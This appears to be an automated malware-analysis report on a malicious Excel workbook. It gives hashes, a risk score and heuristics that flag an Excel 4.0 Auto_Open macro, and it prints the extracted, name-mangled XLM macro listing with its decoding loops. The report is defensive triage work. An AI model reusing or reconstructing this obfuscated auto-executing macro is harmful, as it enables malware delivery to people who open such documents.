Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4766815aab8913de…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:05 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: c9bfc90cf8e03e420764e514b233aedc SHA-1: 06b040994411af109048c9531ae9a5d3becf4a5b SHA-256: 4766815aab8913de42baf3edb8751bdd8cd8306f5c32fbf37ed4c687c6712fa6
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6659 bytes
SHA-256: 62c550eb9ff8a96d639bbed6ad55b688d8b031b66c07369d932fbf8fab8a6b51
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 37 identifiers look randomly generated (e.g. 'RPeotQfMQJfj') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jEzxh
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E151 
' 0018     23 LABEL : Cell Value, String Constant - DWNIvCYX len=0 
' 0018     20 LABEL : Cell Value, String Constant - eptVK len=0 
' 0018     25 LABEL : Cell Value, String Constant - hwCavgFyPs len=0 
' 0018     22 LABEL : Cell Value, String Constant - JSkbKTj len=0 
' 0018     27 LABEL : Cell Value, String Constant - khzGZUNtCGqU len=0 
' 0018     27 LABEL : Cell Value, String Constant - lDJahaCAUoYm len=0 
' 0018     26 LABEL : Cell Value, String Constant - LFYJwyQSEzZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - NsIWfQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - PMWztibRPE len=0 
' 0018     24 LABEL : Cell Value, String Constant - PYTqAzbjb len=0 
' 0018     25 LABEL : Cell Value, String Constant - rHhSzMBdHH len=0 
' 0018     27 LABEL : Cell Value, String Constant - RPeotQfMQJfj len=0 
' 0018     24 LABEL : Cell Value, String Constant - UxEpZLGqt len=0 
' 0018     27 LABEL : Cell Value, String Constant - UYeSylNWMAfF len=0 
' 0018     22 LABEL : Cell Value, String Constant - WlMsyea len=0 
' 0018     20 LABEL : Cell Value, String Constant - xagHH len=0 
' 0018     23 LABEL : Cell Value, String Constant - XDlMtoNm len=0 
' 0018     25 LABEL : Cell Value, String Constant - xTlWrbEgBC len=0 
' 0018     24 LABEL : Cell Value, String Constant - xZmxjREwV len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZyXGTOFcBn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jEzxh,E57,"SET.NAME("XDlMtoNm",0+VALUE("0"))",""
'  jEzxh,T57,"",-886.00000000000000000000
'  jEzxh,T58,"",-751.00000000000000000000
'  jEzxh,T59,"",629.00000000000000000000
'  jEzxh,T60,"",514.00000000000000000000
'  jEzxh,E61,"SET.NAME("xagHH",XDlMtoNm)",""
'  jEzxh,T61,"",-833.00000000000000000000
'  jEzxh,T62,"",501.00000000000000000000
'  jEzxh,E64,"SET.NAME("rHhSzMBdHH",XDlMtoNm)",""
'  jEzxh,E68,"SET.NAME("eptVK",COUNTA(khzGZUNtCGqU))",""
'  jEzxh,E73,"SET.NAME("UYeSylNWMAfF",COUNTA(UxEpZLGqt))",""
'  jEzxh,E77,[],""
'  jEzxh,E82,"SET.NAME("lDJahaCAUoYm","")",""
'  jEzxh,E84,"xagHH",""
'  jEzxh,E86,"SET.NAME("ZyXGTOFcBn",HLOOKUP("*",khzGZUNtCGqU,xagHH,FALSE))",""
'  jEzxh,E89,"PYTqAzbjb",""
'  jEzxh,E91,"SET.NAME("hwCavgFyPs",XDlMtoNm)",""
'  jEzxh,E94,[],""
'  jEzxh,E97,"hwCavgFyPs",""
'  jEzxh,E101,"DWNIvCYX",""
'  jEzxh,E103,"xZmxjREwV",""
'  jEzxh,E107,"LFYJwyQSEzZ",""
'  jEzxh,E111,"SET.NAME("NsIWfQ",VALUE(HLOOKUP("*",UxEpZLGqt,LFYJwyQSEzZ,FALSE)))",""
'  jEzxh,E115,"xTlWrbEgBC",""
'  jEzxh,E119,"lDJahaCAUoYm",""
'  jEzxh,E124,"rHhSzMBdHH",""
'  jEzxh,E129,NEXT(),""
'  jEzxh,E133,"RPeotQfMQJfj",""
'  jEzxh,E138,[],""
'  jEzxh,E140,"PMWztibRPE",""
'  jEzxh,E142,NEXT(),""
'  jEzxh,E146,RETURN(),""
'  jEzxh,E178,"SET.NAME("JSkbKTj",E57)",""
'  jEzxh,E182,"khzGZUNtCGqU",""
'  jEzxh,E187,"SET.NAME("UxEpZLGqt",R89C13)",""
'  jEzxh,E190,"SET.NAME("PMWztibRPE",197)",""
'  jEzxh,E194,"SET.NAME("WlMsyea",5)",""
'  jEzxh,E196,JSkbKTj(),""
'  jEzxh,E197,HALT(),""

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